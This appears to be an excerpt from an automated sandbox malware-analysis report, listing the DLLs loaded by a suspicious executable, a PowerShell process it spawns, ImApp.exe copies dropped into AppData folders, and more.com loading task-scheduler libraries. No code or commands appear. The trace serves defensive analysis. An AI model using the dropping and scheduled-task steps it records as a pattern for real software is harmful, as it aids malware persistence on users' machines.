Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: zipfldr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winshfhc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wdscore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winshfhc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wdscore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: imutilsu.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: imlooku.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: imntutilu.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: imdbu.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: imabu.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: sfttree_ix86_u_60.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: wlessfp1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: imhttpcomm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: imlookexu.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: imwrappu.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: mfc80eng.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: mfc80enu.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: mfc80eng.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: mfc80enu.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: mfc80loc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imutilsu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imlooku.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imntutilu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imdbu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imabu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: sfttree_ix86_u_60.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: wlessfp1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imhttpcomm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imlookexu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: sfttree_ix86_u_60.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imwrappu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: mfc80eng.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: mfc80enu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: mfc80eng.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: mfc80enu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: mfc80loc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: mstask.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imutilsu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imlooku.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imntutilu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imdbu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imabu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: sfttree_ix86_u_60.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imntutilu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imhttpcomm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: wlessfp1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imlookexu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: sfttree_ix86_u_60.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imwrappu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: mfc80eng.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: mfc80enu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: mfc80eng.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: mfc80enu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: mfc80loc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imutilsu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imlooku.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imntutilu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imdbu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imabu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: sfttree_ix86_u_60.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Section loaded: imutilsu.dll	Jump to behavior
